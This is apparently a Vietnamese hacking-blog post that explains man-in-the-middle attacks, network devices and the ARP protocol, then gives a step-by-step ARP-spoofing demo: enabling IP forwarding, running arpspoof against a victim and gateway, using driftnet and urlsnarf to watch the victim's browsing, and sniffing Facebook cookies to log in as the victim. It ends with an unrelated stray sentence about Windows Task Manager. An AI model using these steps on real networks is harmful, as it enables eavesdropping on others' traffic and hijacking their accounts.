MITM [ man in the middle ] - Là một phương thức tấn công của attacker, trong đó attacker đứng giữa,nhận thông tin trao đổi giữa 2 đầu truyền tin. Bên A truyền cho bên B,thông tin sẽ đi từ A qua attacker rồi mới đến B. Và tất nhiên attacker có thể xem và thay đổi thôi tin trước khi truyền đến đích.Hôm nay capuchino có đọc qua tài liệu về các thiết bị giao tiếp mạng .Trong đó có cơ bản là Hub, Switch,Router.....
Trong đó cơ chế bảo mật đi từ thấp đến cao.Hub chỉ chia ra các cổng,nhưng các gói tin đi qua nó,đều qua các cổng hết,đến khi nào nó đến máy thì mới xem đó có phải là đích đến thích hợp hay ko.Điều này rất nguy hiểm trong mạng Lan .Vì như thế nghĩa là bất kì máy nào cũng có thể bắt các gói tin này.
Đối với Switch thì khác.Switch là một thiết bị thông minh hơn Hub vì trên Switch có lưu trữ địa chỉ Mac của các máy đến.Điều này có nghĩa là các gói tin đến switch nó xem như đã xác định đc đích đến là đâu.Ko cần phải tới máy đích nữa.Điều này đảm bảo gói tin đến đc đúng đích.Đồng thời nó cũng đảm bảo đc ko có xung đột có thể xảy ra.
Router thì còn thông minh hơn Switch nữa.Trên nó lưu trữ rất nhiền thông tin.Từ các giao thức,tính toán đường đi,tốc độ,độ tin cậy.Và bảo mật cũng tốt hơn.Kiến thức capuchino có hạn nên ko trình bày sâu đc.hihi.
Trở lại với MITM.
Ở cây capuchino trình bày về giả mạo ARP.Phương pháp tấn công này rất là lợi hại,nó có thể vượt qua bảo mật và sự thông minh của switch và router.
Nói rõ hơn 1 tí về giao thức ARP ( tên đầy đủ là address resolution Protocol) .nguyên tắc làm việc của ARP là là ghi chép và phân tích các địa chị IP và địa chỉ MAC tương ứng.Giả sử như ta có 2 host là host1 và host2 chẳng hạn.Vậy việc truyền tin giữa 2 host này như thế nào.Để truyền đc tin thì phải xác định đích đến cái đã.để làm đc việc này host1 gửi một gói tin ARP [ yêu cầu tìm địa chỉ MAC của host2 có ip là IP2 đi) .Gói ARP này sẽ hỏi các host xem nó có IP2 ko,nếu đúng thì gửi lại địa chi MAC cho nó [ gói truyền đi là gói ARP request chứa MAC máy gửi đi và IP của máy cần tìm,Gói về là gói ARP reply chứa MAC của máy đã tìm đc,hoặc thêm gì nữa thì capuchino ko rõ nha, vì sao phải lấy địa chị MAC mặc dù có IP gửi rồi.Cái này có liên quan đến cấu trúc mạng,chưa 7 tầng (cấu trúc mạng OSI)].Như vậy sẽ xác định được điểm đến..Như đã nói ở trên.Việc phân tích MAC-IP này nằm trên switch.Vậy đánh lừa như thế nào để lấy đc thông tin trên đường truyền đây.Chúng ta sẽ gửi liên tiếp các gói ARP reply ,trong đó có chưa MAC của máy mình tới máy chủ,và làm cho nó nghĩ MAC đó là MAC của victim.Và nó nhầm tưởng ta là đích đến.
Mình sẽ làm demo về phương pháp tấn công này nhé.
Đầu tiên mở terminal lên.
sửa lại file ip_forward bằng lệnh echo và toán tử viết chèn vào cuối file >>
sudo echo 1 >> /proc/sys/net/ipv4/ip_forward
xong rồi đọc lại file này xem đã ghi thành công chưa nhé,nếu nhận đc là 1 thì là oke á
cat /proc/sys/net/ipv4/ip_forward
giả sử ip của victim là 192.168.201.129 nhé
trong đó gateway là 192.168.201.2
ta tiếp tục
arpspoof -i eth0 -t 192.168.201.2 192.168.201.129
sau khi nó chạy,thì terminal này bị busy,ta ko thể thao tác lệnh tiếp,vì nó phải giữ session lại.
Rất may trên backtrack cho phép ta thao tác đa nhiệm.
Mở 1 terminal khác lên,gõ screen rồi enter .
trên terminal mới tiếp tục
arpspoof -i eth0 -t 192.168.201.129 192.168.201.2 tiếp tục do terminal này bận nên ta tiếp tục mở 1 terminal khác,type screen và enter.
trên terminal mới ta mở trình driftnet lên
type:
sudo driftnet -i eth0.
tiếp tục mở terminal mới,type screen rồi type tiêp
sudo urlsnarf -i eth0
bây giờ nó sẽ lắng nghe trên các port 80,8080 hoặc 3128
Giải sử bi giờ trên victim vào trang google tìm với từ khóa capuchino chẳng hạn nha
thì trên driftnet của mình sẽ bắt đc gói tin hình ảnh truyền về ip 192.168.201.129
tương tự như thế,đối với các trang khác mình cũng xem đc thông tin.biết đc victim làm gì.Xem trên terminal ý.
Chẳng hạn như xem hình dưới đây,ta thấy victim đang lượn lờ trong vhbsystem kìa :v
Đối với các trang như facebook thì ta sniff cookie và login bằng cookie nhé,giống như dùng wireshark
VNHACK
. Bạn sẽ thấy các thông tin trong Windows Task Manager và một đồ thị hệ thống của bạn hiện đang phân bổ RAM.
\
